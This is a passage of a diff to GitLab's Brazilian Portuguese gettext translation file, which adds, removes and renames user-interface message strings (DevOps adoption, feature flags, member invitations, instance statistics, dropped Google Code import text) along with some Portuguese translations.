+msgid "DevopsAdoption|Issues"
+msgstr ""
+
+msgid "DevopsAdoption|MRs"
+msgstr ""
+
+msgid "DevopsAdoption|My segment"
+msgstr ""
+
+msgid "DevopsAdoption|Name"
+msgstr ""
+
+msgid "DevopsAdoption|New segment"
+msgstr ""
+
+msgid "DevopsAdoption|Pipelines"
+msgstr ""
+
+msgid "DevopsAdoption|Runners"
+msgstr ""
+
+msgid "DevopsAdoption|Scanning"
+msgstr ""
+
+msgid "DevopsAdoption|Segment"
+msgstr ""
+
+msgid "DevopsAdoption|There was an error fetching Groups. Please refresh the page to try again."
+msgstr ""
+
+msgid "DevopsAdoption|There was an error fetching Segments. Please refresh the page to try again."
+msgstr ""
+
+msgid "DevopsReport|Adoption"
+msgstr ""
+
+msgid "DevopsReport|DevOps"
+msgstr ""
+
+msgid "DevopsReport|DevOps Score"
+msgstr ""
+
+msgid "DevopsReport|Score"
+msgstr ""
+
msgid "Diff content limits"
msgstr "Diferenciar limite de conteúdo"
@@ -9500,9 +9819,6 @@ msgstr ""
msgid "Do not display offers from third parties within GitLab"
msgstr ""
-msgid "Do you want to customize how Google Code email addresses and usernames are imported into GitLab?"
-msgstr "Deseja personalizar como os endereços de e-mail e nomes de usuário do Google Code são importados para o GitLab?"
-
msgid "Dockerfile"
msgstr "Dockerfile"
@@ -9575,9 +9891,6 @@ msgstr "Baixar artefatos"
msgid "Download as"
msgstr ""
-msgid "Download as CSV"
-msgstr ""
-
msgid "Download codes"
msgstr ""
@@ -9626,9 +9939,15 @@ msgstr ""
msgid "Drop or %{linkStart}upload%{linkEnd} designs to attach"
msgstr ""
+msgid "Drop or %{linkStart}upload%{linkEnd} files to attach"
+msgstr ""
+
msgid "Drop your designs to start your upload."
msgstr ""
+msgid "Drop your files to start your upload."
+msgstr ""
+
msgid "Due Date"
msgstr ""
@@ -9734,6 +10053,9 @@ msgstr ""
msgid "Edit in single-file editor"
msgstr ""
+msgid "Edit inline"
+msgstr ""
+
msgid "Edit issues"
msgstr "Editar issues"
@@ -9809,6 +10131,9 @@ msgstr ""
msgid "Email Notification"
msgstr ""
+msgid "Email cannot be blank"
+msgstr ""
+
msgid "Email could not be sent"
msgstr ""
@@ -9839,6 +10164,9 @@ msgstr ""
msgid "Email updates (optional)"
msgstr ""
+msgid "Email: %{email}"
+msgstr ""
+
msgid "EmailError|It appears that the email is blank. Make sure your reply is at the top of the email, we can't process inline replies."
msgstr ""
@@ -9911,7 +10239,7 @@ msgstr "Arquivo vazio"
msgid "Enable"
msgstr "Ativar"
-msgid "Enable %{link_start}Gitpod%{link_end} integration to launch a development environment in your browser directly from GitLab."
+msgid "Enable %{linkStart}Gitpod%{linkEnd} integration to launch a development environment in your browser directly from GitLab."
msgstr ""
msgid "Enable Auto DevOps"
@@ -9929,6 +10257,9 @@ msgstr "Habilitar e-mails em HTML"
msgid "Enable Incident Management inbound alert limit"
msgstr ""
+msgid "Enable Kroki"
+msgstr ""
+
msgid "Enable PlantUML"
msgstr ""
@@ -10280,6 +10611,9 @@ msgstr ""
msgid "Environments|Delete"
msgstr ""
+msgid "Environments|Delete '%{environmentName}'?"
+msgstr ""
+
msgid "Environments|Delete environment"
msgstr ""
@@ -10391,6 +10725,9 @@ msgstr "Parar ambiente"
msgid "Environments|Stopping"
msgstr ""
+msgid "Environments|Stopping %{environmentName}"
+msgstr ""
+
msgid "Environments|There was an error fetching the logs. Please try again."
msgstr ""
@@ -10628,9 +10965,6 @@ msgstr "Erro ao carregar o modelo."
msgid "Error loading viewer"
msgstr ""
-msgid "Error message:"
-msgstr ""
-
msgid "Error occurred when fetching sidebar data"
msgstr ""
@@ -10667,6 +11001,9 @@ msgstr "Ocorreu um erro. O usuário não foi desbloqueado"
msgid "Error occurred. User was not unlocked"
msgstr ""
+msgid "Error parsing CSV file. Please make sure it has"
+msgstr ""
+
msgid "Error rendering markdown preview"
msgstr "Erro ao renderizar a pré-visualização do markdown"
@@ -10745,6 +11082,9 @@ msgstr ""
msgid "Errors"
msgstr "Erros"
+msgid "Errors found on line %{line_number}: %{error_lines}. Please check if these lines have a requirement title."
+msgstr ""
+
msgid "Errors:"
msgstr ""
@@ -10979,6 +11319,9 @@ msgstr ""
msgid "Export as CSV"
msgstr "Exportar como CSV"
+msgid "Export commit custody report"
+msgstr ""
+
msgid "Export group"
msgstr ""
@@ -11087,6 +11430,9 @@ msgstr ""
msgid "Failed to create a branch for this issue. Please try again."
msgstr ""
+msgid "Failed to create framework"
+msgstr ""
+
msgid "Failed to create import label for jira import."
msgstr ""
@@ -11222,6 +11568,9 @@ msgstr "Falha ao remover a chave do usuário."
msgid "Failed to reset key. Please try again."
msgstr "Falha ao redefinir a chave. Por favor, tente novamente."
+msgid "Failed to retrieve page"
+msgstr ""
+
msgid "Failed to save merge conflicts resolutions. Please try again!"
msgstr "Falha ao salvar resoluções de conflitos de merge. Por favor, tente novamente!"
@@ -11261,6 +11610,9 @@ msgstr "Falha ao atualizar Issues. Por favor, tente novamente."
msgid "Failed to update tag!"
msgstr "Falha ao atualizar a tag!"
+msgid "Failed to update the Canary Ingress."
+msgstr ""
+
msgid "Failed to update."
msgstr "Falha ao atualizar."
@@ -11300,12 +11652,18 @@ msgstr "O favicon foi removido com sucesso."
msgid "Feature Flags"
msgstr "Feature flag"
+msgid "Feature flag is not enabled on the environment's project."
+msgstr ""
+
msgid "Feature flag was not removed."
msgstr "O Feature flag não foi removido."
msgid "Feature flag was successfully removed."
msgstr "A feature flag foi removida com sucesso."
+msgid "Feature not available"
+msgstr ""
+
msgid "FeatureFlags|%d user"
msgid_plural "FeatureFlags|%d users"
msgstr[0] ""
@@ -11473,6 +11831,9 @@ msgstr "Nova feature flag"
msgid "FeatureFlags|New user list"
msgstr ""
+msgid "FeatureFlags|No user list selected"
+msgstr ""
+
msgid "FeatureFlags|Percent of users"
msgstr ""
@@ -11497,9 +11858,6 @@ msgstr "Porcentagem de rollout"
msgid "FeatureFlags|Rollout Strategy"
msgstr "Estratégia de Rollout"
-msgid "FeatureFlags|Select a user list"
-msgstr ""
-
msgid "FeatureFlags|Set the Unleash client application name to the name of the environment your application runs in. This value is used to match environment scopes. See the %{linkStart}example client configuration%{linkEnd}."
msgstr ""
@@ -11560,6 +11918,9 @@ msgstr "Fev"
msgid "February"
msgstr "Fevereiro"
+msgid "Fetch and check out the branch for this merge request"
+msgstr ""
+
msgid "Fetching incoming email"
msgstr "Obtendo e-mails recebidos"
@@ -11602,7 +11963,7 @@ msgstr ""
msgid "File renamed with no changes."
msgstr ""
-msgid "File sync capacity"
+msgid "File synchronization concurrency limit"
msgstr ""
msgid "File templates"
@@ -11728,12 +12089,6 @@ msgstr "Encontre membros existentes por nome"
msgid "Find file"
msgstr "Localizar arquivo"
-msgid "Find the downloaded ZIP file and decompress it."
-msgstr "Encontre o arquivo ZIP baixado e extraia-o."
-
-msgid "Find the newly extracted %{code_open}Takeout/Google Code Project Hosting/GoogleCodeProjectHosting.json%{code_close} file."
-msgstr ""
-
msgid "Fingerprint"
msgstr "Impressão digital"
@@ -11758,9 +12113,6 @@ msgstr "Primeiro dia da semana"
msgid "First name"
msgstr "Primeiro nome"
-msgid "First name is too long (maximum is %{max_length} characters)."
-msgstr ""
-
msgid "First seen"
msgstr ""
@@ -11806,9 +12158,6 @@ msgstr "Importação do FogBugz"
msgid "Folder/%{name}"
msgstr ""
-msgid "Follow the steps below to export your Google Code project data."
-msgstr "Siga os passos abaixo para exportar os dados do seu projeto do Google Code."
-
msgid "Font Color"
msgstr "Cor da Fonte"
@@ -11893,6 +12242,9 @@ msgstr "Erros encontrados em seu %{gitlab_ci_yml}:"
msgid "Found errors in your .gitlab-ci.yml:"
msgstr "Erros encontrados em seu .gitlab-ci.yml:"
+msgid "Framework successfully deleted"
+msgstr ""
+
msgid "Free Trial"
msgstr ""
@@ -11920,9 +12272,6 @@ msgstr ""
msgid "From %{providerTitle}"
msgstr "Do %{providerTitle}"
-msgid "From Google Code"
-msgstr "Do Google Code"
-
msgid "From issue creation until deploy to production"
msgstr "Da abertura de tarefas até a implantação para a produção"
@@ -12409,6 +12758,9 @@ msgstr ""
msgid "GitLab API"
msgstr ""
+msgid "GitLab Account Request"
+msgstr ""
+
msgid "GitLab Billing Team."
msgstr ""
@@ -12442,6 +12794,9 @@ msgstr "Usuário GitLab"
msgid "GitLab Workhorse"
msgstr ""
+msgid "GitLab account request rejected"
+msgstr ""
+
msgid "GitLab commit"
msgstr ""
@@ -12652,15 +13007,12 @@ msgstr "Voltar"
msgid "Go back (while searching for files)"
msgstr ""
-msgid "Go back to %{startTag}Open issues%{endTag} and select some issues to add to your board."
-msgstr "Volte para %{startTag}Issues abertos%{endTag} e selecione alguns issues para adicionar ao seu painel."
+msgid "Go back to %{tagStart}Open issues%{tagEnd} and select some issues to add to your board."
+msgstr ""
msgid "Go full screen"
msgstr "Tela cheia"
-msgid "Go to %{link_to_google_takeout}."
-msgstr "Ir para %{link_to_google_takeout}."
-
msgid "Go to %{strongStart}Issues%{strongEnd} &gt; %{strongStart}Boards%{strongEnd} to access your personalized learning issue board."
msgstr ""
@@ -12775,12 +13127,6 @@ msgstr ""
msgid "Google Cloud Platform"
msgstr ""
-msgid "Google Code import"
-msgstr "Importação do Google Code"
-
-msgid "Google Takeout"
-msgstr "Google Takeout"
-
msgid "Google authentication is not %{link_start}properly configured%{link_end}. Ask your GitLab administrator if you want to use this service."
msgstr ""
@@ -13015,6 +13361,12 @@ msgstr ""
msgid "GroupRoadmap|No start date – %{dateWord}"
msgstr ""
+msgid "GroupRoadmap|Roadmaps can display up to 1,000 epics. These appear in your selected sort order."
+msgstr ""
+
+msgid "GroupRoadmap|Some of your epics might not be visible"
+msgstr ""
+
msgid "GroupRoadmap|Something went wrong while fetching epics"
msgstr "Alguma coisa deu errada ao recuperar epics"
@@ -13408,12 +13760,6 @@ msgstr ""
msgid "GroupsTree|Are you sure you want to leave the \"%{fullName}\" group?"
msgstr "Tem certeza que deseja sair do grupo \"%{fullName}\"?"
-msgid "GroupsTree|Create a project in this group."
-msgstr "Criar um projeto nesse grupo."
-
-msgid "GroupsTree|Create a subgroup in this group."
-msgstr "Criar um subgrupo nesse grupo."
-
msgid "GroupsTree|Edit group"
msgstr "Editar grupo"
@@ -13489,6 +13835,9 @@ msgstr "Nenhum problema de saúde detectado"
msgid "HealthCheck|Unhealthy"
msgstr "Não saudável"
+msgid "Hello %{name},"
+msgstr ""
+
msgid "Hello there"
msgstr "Olá"
@@ -13640,9 +13989,6 @@ msgstr ""
msgid "How many users will be evaluating the trial?"
msgstr ""
-msgid "How to upgrade"
-msgstr ""
-
msgid "However, you are already a member of this %{member_source}. Sign in using a different account to accept the invitation."
msgstr "No entanto, você já é um membro deste %{member_source}. Faça login usando uma conta diferente para aceitar o convite."
@@ -13784,6 +14130,9 @@ msgstr ""
msgid "If using GitHub, you’ll see pipeline statuses on GitHub for your commits and pull requests. %{more_info_link}"
msgstr "Se estiver usando o GitHub, você verá os status do pipeline no GitHub para seus commits e pull requests. %{more_info_link}"
+msgid "If you add %{codeStart}needs%{codeEnd} to jobs in your pipeline you'll be able to view the %{codeStart}needs%{codeEnd} relationships between jobs in this tab as a %{linkStart}Directed Acyclic Graph (DAG)%{linkEnd}."
+msgstr ""
+
msgid "If you did not recently sign in, you should immediately %{password_link_start}change your password%{password_link_end}."
msgstr ""
@@ -13860,12 +14209,6 @@ msgstr "Importar CSV"
msgid "Import Projects from Gitea"
msgstr "Importar projetos do Gitea"
-msgid "Import all compatible projects"
-msgstr "Importar todos os projetos compatíveis"
-
-msgid "Import all projects"
-msgstr "Importar todos os projetos"
-
msgid "Import an exported GitLab project"
msgstr "Importar um projeto GitLab exportado"
@@ -13917,9 +14260,6 @@ msgstr "Importar projetos do FogBugz"
msgid "Import projects from GitLab.com"
msgstr "Importar projetos do GitLab.com"
-msgid "Import projects from Google Code"
-msgstr "Importar projetos do Google Code"
-
msgid "Import repositories from Bitbucket Server"
msgstr "Importar repositórios do servidor do Bitbucket"
@@ -13950,6 +14290,9 @@ msgstr "Importar/exportar ilustração"
msgid "ImportButtons|Connect repositories from"
msgstr "Conectar repositórios de"
+msgid "ImportProjects|%{provider} rate limit exceeded. Try again later"
+msgstr ""
+
msgid "ImportProjects|Blocked import URL: %{message}"
msgstr ""
@@ -13983,6 +14326,9 @@ msgstr ""
msgid "ImportProjects|Update of imported projects with realtime changes failed"
msgstr ""
+msgid "Imported requirements"
+msgstr ""
+
msgid "Improve Issue Boards"
msgstr ""
@@ -14013,9 +14359,6 @@ msgstr ""
msgid "In progress"
msgstr ""
-msgid "In the next step, you'll be able to select the projects you want to import."
-msgstr "Na próxima etapa, você poderá selecionar os projetos que deseja importar."
-
msgid "Incident"
msgstr ""
@@ -14193,9 +14536,6 @@ msgstr ""
msgid "Incoming!"
msgstr ""
-msgid "Incompatible Project"
-msgstr "Projeto Incompatível"
-
msgid "Incompatible options set!"
msgstr "Opções incompatíveis definidas!"
@@ -14280,9 +14620,6 @@ msgstr "Instalar o GitLab Runner"
msgid "Install Runner on Kubernetes"
msgstr "Instalar Runner no Kubernates"
-msgid "Install a Runner"
-msgstr ""
-
msgid "Install a soft token authenticator like %{free_otp_link} or Google Authenticator from your application repository and use that app to scan this QR code. More information is available in the %{help_link_start}documentation%{help_link_end}."
msgstr ""
@@ -14306,73 +14643,79 @@ msgstr[1] "Instâncias"
msgid "Instance Configuration"
msgstr ""
-msgid "Instance Statistics"
-msgstr ""
-
msgid "Instance administrators group already exists"
msgstr "O grupo de administradores da instância já existe"
-msgid "InstanceAnalytics|Canceled"
+msgid "InstanceStatistics|Could not load the issues and merge requests chart. Please refresh the page to try again."
msgstr ""
-msgid "InstanceAnalytics|Could not load the issues and merge requests chart. Please refresh the page to try again."
+msgid "InstanceStatistics|Could not load the pipelines chart. Please refresh the page to try again."
msgstr ""
-msgid "InstanceAnalytics|Could not load the pipelines chart. Please refresh the page to try again."
+msgid "InstanceStatistics|Could not load the projects and groups chart. Please refresh the page to try again."
msgstr ""
-msgid "InstanceAnalytics|Failed"
+msgid "InstanceStatistics|Groups"
msgstr ""
-msgid "InstanceAnalytics|Issues"
+msgid "InstanceStatistics|Issues"
msgstr ""
-msgid "InstanceAnalytics|Issues & Merge Requests"
+msgid "InstanceStatistics|Issues & Merge Requests"
msgstr ""
-msgid "InstanceAnalytics|Items"
+msgid "InstanceStatistics|Items"
msgstr ""
-msgid "InstanceAnalytics|Merge Requests"
+msgid "InstanceStatistics|Merge Requests"
msgstr ""
-msgid "InstanceAnalytics|Month"
+msgid "InstanceStatistics|Month"
msgstr ""
-msgid "InstanceAnalytics|Pipelines"
+msgid "InstanceStatistics|No data available."
msgstr ""
-msgid "InstanceAnalytics|Skipped"
+msgid "InstanceStatistics|Pipelines"
msgstr ""
-msgid "InstanceAnalytics|Succeeded"
+msgid "InstanceStatistics|Pipelines canceled"
msgstr ""
-msgid "InstanceAnalytics|There is no data available."
+msgid "InstanceStatistics|Pipelines failed"
msgstr ""
-msgid "InstanceAnalytics|Total"
+msgid "InstanceStatistics|Pipelines skipped"
msgstr ""
-msgid "InstanceStatistics|Could not load the projects and groups chart. Please refresh the page to try again."
+msgid "InstanceStatistics|Pipelines succeeded"
msgstr ""
-msgid "InstanceStatistics|Groups"
+msgid "InstanceStatistics|Pipelines total"
msgstr ""
-msgid "InstanceStatistics|Issues"
+msgid "InstanceStatistics|Projects"
msgstr ""
-msgid "InstanceStatistics|Merge Requests"
+msgid "InstanceStatistics|There was an error fetching the cancelled pipelines"
msgstr ""
-msgid "InstanceStatistics|No data available."
+msgid "InstanceStatistics|There was an error fetching the failed pipelines"
msgstr ""
-msgid "InstanceStatistics|Pipelines"
+msgid "InstanceStatistics|There was an error fetching the issues"
msgstr ""
-msgid "InstanceStatistics|Projects"
+msgid "InstanceStatistics|There was an error fetching the merge requests"
+msgstr ""
+
+msgid "InstanceStatistics|There was an error fetching the skipped pipelines"
+msgstr ""
+
+msgid "InstanceStatistics|There was an error fetching the successful pipelines"
+msgstr ""
+
+msgid "InstanceStatistics|There was an error fetching the total pipelines"
msgstr ""
msgid "InstanceStatistics|There was an error while loading the groups"
@@ -14411,6 +14754,9 @@ msgstr ""
msgid "Integrations|All details"
msgstr ""
+msgid "Integrations|All projects inheriting these settings will also be reset."
+msgstr ""
+
msgid "Integrations|Comment detail:"
msgstr ""
@@ -14444,7 +14790,16 @@ msgstr ""
msgid "Integrations|Issues created in Jira are shown here once you have created the issues in project setup in Jira."
msgstr ""
-msgid "Integrations|Projects using custom settings will not be impacted unless the project owner chooses to use instance-level defaults."
+msgid "Integrations|Projects using custom settings will not be affected."
+msgstr ""
+
+msgid "Integrations|Projects using custom settings will not be impacted unless the project owner chooses to use parent level defaults."
+msgstr ""
+
+msgid "Integrations|Reset integration?"
+msgstr ""
+
+msgid "Integrations|Resetting this integration will clear the settings and deactivate this integration."
msgstr ""
msgid "Integrations|Return to GitLab for Jira"
@@ -14462,6 +14817,9 @@ msgstr ""
msgid "Integrations|Standard"
msgstr ""
+msgid "Integrations|This integration, and inheriting projects were reset."
+msgstr ""
+
msgid "Integrations|To keep this project going, create a new issue."
msgstr ""
@@ -14483,6 +14841,9 @@ msgstr ""
msgid "Integrations|You can now close this window and return to the GitLab for Jira application."
msgstr ""
+msgid "Interactive mode"
+msgstr ""
+
msgid "Interested parties can even contribute by pushing commits if they want to."
msgstr "As partes interessadas podem até contribuir enviando commits, caso queiram."
@@ -14558,6 +14919,9 @@ msgstr ""
msgid "Invalid file."
msgstr "Arquivo inválido."
+msgid "Invalid hash"
+msgstr ""
+
msgid "Invalid import params"
msgstr ""
@@ -14600,6 +14964,9 @@ msgstr "Código de dois fatores inválido."
msgid "Invalid yaml"
msgstr ""
+msgid "Investigate vulnerability: %{title}"
+msgstr ""
+
msgid "Invitation"
msgstr "Convite"
@@ -14624,6 +14991,9 @@ msgstr "Convidar grupo"
msgid "Invite member"
msgstr "Convidar membro"
+msgid "Invite team members"
+msgstr ""
+
msgid "Invite teammates (optional)"
msgstr ""
@@ -14669,6 +15039,9 @@ msgstr ""
msgid "InviteMembersModal|Choose a role permission"
msgstr ""
+msgid "InviteMembersModal|Close invite team members"
+msgstr ""
+
msgid "InviteMembersModal|GitLab member or Email address"
msgstr ""
@@ -14678,16 +15051,16 @@ msgstr ""
msgid "InviteMembersModal|Invite team members"
msgstr ""
-msgid "InviteMembersModal|Search for members to invite"
+msgid "InviteMembersModal|Members were successfully added"
msgstr ""
-msgid "InviteMembersModal|User not invited. Feature coming soon!"
+msgid "InviteMembersModal|Search for members to invite"
msgstr ""
-msgid "InviteMembersModal|Users were succesfully added"
+msgid "InviteMembersModal|Some of the members could not be added"
msgstr ""
-msgid "InviteMembersModal|You're inviting members to the %{group_name} group"
+msgid "InviteMembersModal|You're inviting members to the %{name} %{type}"
msgstr ""
msgid "InviteMembers|Invite team members"
@@ -14795,9 +15168,6 @@ msgstr ""
msgid "Issue Boards"
msgstr "Painéis"
-msgid "Issue actions"
-msgstr ""
-
msgid "Issue already promoted to epic."
msgstr ""
@@ -14861,6 +15231,9 @@ msgstr ""
msgid "IssueAnalytics|Weight"
msgstr ""
+msgid "IssueBoards|An error occurred while setting notifications status."
+msgstr ""
+
msgid "IssueBoards|Board"
msgstr "Painel"
@@ -14996,10 +15369,10 @@ msgstr ""
msgid "Iteration|cannot be more than 500 years in the future"
msgstr ""
-msgid "I’m familiar with the basics of project management and DevOps."
+msgid "I’m familiar with the basics of DevOps."
msgstr ""
-msgid "I’m not very familiar with the basics of project management and DevOps."
+msgid "I’m not familiar with the basics of DevOps."
msgstr ""
msgid "Jaeger URL"
@@ -15176,6 +15549,27 @@ msgstr ""
msgid "Jobs"
msgstr "Tarefas"
+msgid "Jobs|Are you sure you want to proceed?"
+msgstr ""
+
+msgid "Jobs|Are you sure you want to retry this job?"
+msgstr ""
+
+msgid "Jobs|Create CI/CD configuration file"
+msgstr ""
+
+msgid "Jobs|Jobs are the building blocks of a GitLab CI/CD pipeline. Each job has a specific task, like testing code. To set up jobs in a CI/CD pipeline, add a CI/CD configuration file to your project."
+msgstr ""
+
+msgid "Jobs|No jobs to show"
+msgstr ""
+
+msgid "Jobs|Use jobs to automate your tasks"
+msgstr ""
+
+msgid "Jobs|You're about to retry a job that failed because it attempted to deploy code that is older than the latest deployment. Retrying this job could result in overwriting the environment with the older source code."
+msgstr ""
+
msgid "Job|Browse"
msgstr "Navegar"
@@ -15305,6 +15699,9 @@ msgstr ""
msgid "Ki"
msgstr ""
+msgid "Kroki"
+msgstr ""
+
msgid "Kubernetes"
msgstr "Kubernetes"
@@ -15487,9 +15884,6 @@ msgstr ""
msgid "Last name"
msgstr ""
-msgid "Last name is too long (maximum is %{max_length} characters)."
-msgstr ""
-
msgid "Last reply by"
msgstr "Última resposta de"
@@ -15583,6 +15977,9 @@ msgstr "Saiba mais sobre o Kubernetes"
msgid "Learn more about License-Check"
msgstr ""
+msgid "Learn more about Needs relationships"
+msgstr ""
+
msgid "Learn more about Vulnerability-Check"
msgstr ""
@@ -15610,9 +16007,6 @@ msgstr ""
msgid "Learn more about group-level project templates"
msgstr "Saiba mais sobre os modelos de projeto de nível de grupo"
-msgid "Learn more about job dependencies"
-msgstr ""
-
msgid "Learn more about signing commits"
msgstr "Saiba mais sobre assinar commits"
@@ -15643,9 +16037,6 @@ msgstr "Sair do grupo"
msgid "Leave project"
msgstr "Sair do projeto"
-msgid "Leave the \"File type\" and \"Delivery method\" options on their default values."
-msgstr "Deixe as opções \"Tipo de arquivo\" e \"Método de entrega\" em seus valores padrão."
-
msgid "Leave zen mode"
msgstr ""
@@ -15709,9 +16100,6 @@ msgstr ""
msgid "LicenseCompliance|Learn more about %{linkStart}License Approvals%{linkEnd}"
msgstr ""
-msgid "LicenseCompliance|License"
-msgstr ""
-
msgid "LicenseCompliance|License Approvals"
msgstr ""
@@ -15751,18 +16139,9 @@ msgstr ""
msgid "LicenseCompliance|License Compliance detected no new licenses"
msgstr ""
-msgid "LicenseCompliance|License details"
-msgstr ""
-
msgid "LicenseCompliance|License name"
msgstr ""
-msgid "LicenseCompliance|License review"
-msgstr ""
-
-msgid "LicenseCompliance|Packages"
-msgstr ""
-
msgid "LicenseCompliance|Remove license"
msgstr ""
@@ -15778,9 +16157,6 @@ msgstr ""
msgid "LicenseCompliance|This license already exists in this project."
msgstr ""
-msgid "LicenseCompliance|URL"
-msgstr "URL"
-
msgid "LicenseCompliance|You are about to remove the license, %{name}, from this project."
msgstr ""
@@ -15886,6 +16262,9 @@ msgstr "Limita a exibição de unidades de acompanhamento de tempo a horas."
msgid "Limit namespaces and projects that can be indexed"
msgstr ""
+msgid "Limit the number of concurrent operations this secondary node can run in the background."
+msgstr ""
+
msgid "Limited to showing %d event at most"
msgid_plural "Limited to showing %d events at most"
msgstr[0] "Limitado a mostrar %d evento, no máximo"
@@ -15906,6 +16285,9 @@ msgstr ""
msgid "Link title is required"
msgstr ""
+msgid "Link to an image"
+msgstr ""
+
msgid "Link to go to GitLab pipeline documentation"
msgstr ""
@@ -16110,9 +16492,6 @@ msgstr ""
msgid "Make sure you save it - you won't be able to access it again."
msgstr ""
-msgid "Make sure you're logged into the account that owns the projects you'd like to import."
-msgstr "Certifique-se de que você está conectado à conta que possui os projetos que você deseja importar."
-
msgid "Make this epic confidential"
msgstr ""
@@ -16173,18 +16552,12 @@ msgstr ""
msgid "ManualOrdering|Couldn't save the order of the issues"
msgstr ""
+msgid "Manually link this issue by adding it to the linked issue section of the %{originating_vulnerability}."
+msgstr ""
+
msgid "Map a FogBugz account ID to a GitLab user"
msgstr "Associar um ID de conta do FogBugz para um usuário do GitLab"
-msgid "Map a Google Code user to a GitLab user"
-msgstr "Associar um usuário do Google Code para um usuário do GitLab"
-
-msgid "Map a Google Code user to a full email address"
-msgstr "Associar usuário do Google Code para um endereço de e-mail completo"
-
-msgid "Map a Google Code user to a full name"
-msgstr "Associar usuário do Google Code para um nome completo"
-
msgid "Mar"
msgstr "Mar"
@@ -16245,7 +16618,7 @@ msgstr ""
msgid "Marked For Deletion At - %{deletion_time}"
msgstr ""
-msgid "Marked this %{noun} as Work In Progress."
+msgid "Marked this %{noun} as a draft."
msgstr ""
msgid "Marked this issue as a duplicate of %{duplicate_param}."
@@ -16257,7 +16630,7 @@ msgstr ""
msgid "Marked to do as done."
msgstr ""
-msgid "Marks this %{noun} as Work In Progress."
+msgid "Marks this %{noun} as a draft."
msgstr ""
msgid "Marks this issue as a duplicate of %{duplicate_reference}."
@@ -16305,6 +16678,9 @@ msgstr ""
msgid "MattermostService|This service allows users to perform common operations on this project by entering slash commands in Mattermost."
msgstr ""
+msgid "Max 100,000 events"
+msgstr ""
+
msgid "Max Group Export Download requests per minute per user"
msgstr ""
@@ -16329,9 +16705,6 @@ msgstr "Nível máximo de acesso"
msgid "Max role"
msgstr ""
-msgid "Max size 15 MB"
-msgstr ""
-
msgid "MaxBuilds"
msgstr ""
@@ -16488,7 +16861,10 @@ msgstr ""
msgid "Members|%{time} by %{user}"
msgstr ""
-msgid "Members|%{userName} is currently a LDAP user. Editing their permissions will override the settings from the LDAP group sync."
+msgid "Members|%{userName} is currently an LDAP user. Editing their permissions will override the settings from the LDAP group sync."
+msgstr ""
+
+msgid "Members|2FA"
msgstr ""
msgid "Members|An error occurred while trying to enable LDAP override, please try again."
@@ -16524,9 +16900,18 @@ msgstr ""
msgid "Members|Are you sure you want to withdraw your access request for \"%{source}\""
msgstr ""
+msgid "Members|Direct"
+msgstr ""
+
+msgid "Members|Disabled"
+msgstr ""
+
msgid "Members|Edit permissions"
msgstr ""
+msgid "Members|Enabled"
+msgstr ""
+
msgid "Members|Expiration date removed successfully."
msgstr ""
@@ -16536,12 +16921,21 @@ msgstr ""
msgid "Members|Expired"
msgstr ""
+msgid "Members|Filter members"
+msgstr ""
+
+msgid "Members|Inherited"
+msgstr ""
+
msgid "Members|LDAP override enabled."
msgstr ""
msgid "Members|Leave \"%{source}\""
msgstr ""
+msgid "Members|Membership"
+msgstr ""
+
msgid "Members|No expiration set"
msgstr ""
@@ -16560,6 +16954,9 @@ msgstr ""
msgid "Members|Role updated successfully."
msgstr ""
+msgid "Members|Search invited"
+msgstr ""
+
msgid "Members|in %{time}"
msgstr ""
@@ -16611,6 +17008,9 @@ msgstr ""
msgid "Merge automatically (%{strategy})"
msgstr ""
+msgid "Merge commit SHA"
+msgstr ""
+
msgid "Merge commit message"
msgstr "Mensagem do commit de merge"
@@ -16662,6 +17062,9 @@ msgstr "A tela de Merge request é um lugar para propor mudanças em um projeto
msgid "Merge requests are read-only in a secondary Geo node"
msgstr ""
+msgid "Merge the branch and fix any conflicts that come up"
+msgstr ""
+
msgid "Merge when pipeline succeeds"
msgstr ""
@@ -17218,6 +17621,9 @@ msgstr "As listas de marcos mostram todas as issues do marco selecionado."
msgid "MilestoneCombobox|An error occurred while searching for milestones"
msgstr ""
+msgid "MilestoneCombobox|Group milestones"
+msgstr ""
+
msgid "MilestoneCombobox|Milestone"
msgstr ""
@@ -17323,6 +17729,9 @@ msgstr ""
msgid "Milestones|Milestone %{milestoneTitle} was not found"
msgstr "Marco %{milestoneTitle} não foi encontrado"
+msgid "Milestones|No milestones found"
+msgstr ""
+
msgid "Milestones|Ongoing Issues (open and assigned)"
msgstr ""
@@ -17356,12 +17765,6 @@ msgstr "Capacidade mínima para estar disponível antes de agendar mais espelhos
msgid "Minimum interval in days"
msgstr ""
-msgid "Minimum length is %{minimum_password_length} characters"
-msgstr ""
-
-msgid "Minimum length is %{minimum_password_length} characters."
-msgstr ""
-
msgid "Minimum password length (number of characters)"
msgstr ""
@@ -17419,7 +17822,7 @@ msgstr ""
msgid "MissingSSHKeyWarningLink|Don't show again"
msgstr ""
-msgid "MissingSSHKeyWarningLink|You won't be able to pull or push project code via SSH until you add an SSH key to your profile"
+msgid "MissingSSHKeyWarningLink|You won't be able to pull or push repositories via SSH until you add an SSH key to your profile"
msgstr ""
msgid "ModalButton|Add projects"
@@ -17515,6 +17918,9 @@ msgstr ""
msgid "Move selection up"
msgstr ""
+msgid "Move test case"
+msgstr ""
+
msgid "Move this issue to another project."
msgstr ""
@@ -17642,6 +18048,9 @@ msgid_plural "NamespaceStorageSize|You have reached the free storage limit of %{
msgstr[0] ""
msgstr[1] ""
+msgid "NamespaceStorageSize|push to your repository, create pipelines, create issues or add comments. To learn more about reducing storage capacity please visit our docs."
+msgstr ""
+
msgid "NamespaceStorageSize|push to your repository, create pipelines, create issues or add comments. To reduce storage capacity, delete unused repositories, artifacts, wikis, issues, and pipelines."
msgstr ""
@@ -17675,6 +18084,9 @@ msgstr "Saia e faça login com uma conta diferente"
msgid "Need help?"
msgstr "Precisa de ajuda?"
+msgid "Needs"
+msgstr ""
+
msgid "Needs attention"
msgstr ""
@@ -17900,7 +18312,7 @@ msgstr "Nunca"
msgid "New"
msgstr "Novo"
-msgid "New %{display_issuable_type}"
+msgid "New %{issueType}"
msgstr ""
msgid "New Application"
@@ -18052,6 +18464,9 @@ msgstr ""
msgid "New response for issue #%{issue_iid}:"
msgstr ""
+msgid "New runner. Has not connected yet"
+msgstr ""
+
msgid "New runners registration token has been generated!"
msgstr ""
@@ -18157,9 +18572,6 @@ msgstr "Nenhuma conexão pode ser feita para um servidor Gitaly, por favor check
msgid "No containers available"
msgstr ""
-msgid "No content to show"
-msgstr ""
-
msgid "No contributions"
msgstr ""
@@ -18343,9 +18755,6 @@ msgstr ""
msgid "No worries, you can still use all the %{strong}%{plan_name}%{strong_close} features for now. You have %{remaining_days} to renew your subscription."
msgstr ""
-msgid "No, directly import the existing email addresses and usernames."
